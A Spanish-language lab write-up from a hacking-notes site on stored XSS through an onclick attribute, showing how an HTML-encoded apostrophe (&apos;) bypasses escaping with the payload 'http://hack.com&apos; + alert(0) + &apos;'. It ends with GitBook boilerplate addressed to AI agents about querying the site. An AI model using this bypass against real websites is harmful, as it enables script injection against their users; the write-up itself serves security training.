> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/xss/stored-xss-in-onclick-with-full-encoding.md).

# XSS almacenado en onclick con codificación completa

### XSS almacenado en el evento onclick con los signos de menor y mayor y las comillas dobles codificados en HTML, y las comillas simples y la barra invertida escapadas

Este laboratorio contiene una vulnerabilidad XSS almacenada en la función de comentarios: el valor de un campo (nombre/autor/sitio web) se reutiliza en un `onclick` atributo y codificado — `<` y `>` los signos de menor y mayor y las comillas dobles se codifican en HTML, mientras que las comillas simples y las barras invertidas se escapan.

Objetivo: enviar un comentario para ejecutar `alert()` al hacer clic en el nombre del autor.

<figure><img src="/files/c1345e84d1529e80759c23e743169ba4a8096de3" alt=""><figcaption></figcaption></figure>

En el `sitio web` área la página inyecta algo como:

```javascript
onclick="var tracker={track(){}};tracker.track('http://test.com');"
```

Las comillas simples se representan con la `&apos;` entidad. Ejemplo:

```javascript
&apos;
```

* Cuando `HTTP://hack.com&apos;test` se envía a la `&apos;` página como un apóstrofo (por lo que la comilla está presente en el lado del DOM).

```javascript
<p>Es&apos; un día maravilloso </p>
```

<figure><img src="/files/5a7df0e0810e55a8bde4b47324fd9b66a720b96e" alt=""><figcaption></figcaption></figure>

* Aprovecha el hecho de que `&apos;` se convierte en un apóstrofo para romper la cadena de JavaScript e inyectar una operación de cálculo/concatenación que llama `alert()`.

<pre class="language-javascript"><code class="lang-javascript"><strong>HTTP://hack.com&#x26;apos;test
</strong></code></pre>

* Cuando `HTTP://hack.com&apos;test` se envía a la `&apos;` página como un apóstrofo (por lo que la comilla está presente en el lado del DOM).

<figure><img src="/files/c88de45ed7d191f35d6222101b580e8f4eebc694" alt=""><figcaption></figcaption></figure>

* Aprovecha el hecho de que `&apos;` se convierte en un apóstrofo para romper la cadena de JavaScript e inyectar una operación de cálculo/concatenación que llama `alert()`.

```javascript
http://hack.com&apos; + alert(0) + &apos;
```

<figure><img src="/files/2ad3e773beaa6debbde4bcfec4601089821f6636" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/9015942dbd9992e0ca5f41bb6b3a0dcfb8fafeea" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/xss/stored-xss-in-onclick-with-full-encoding.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
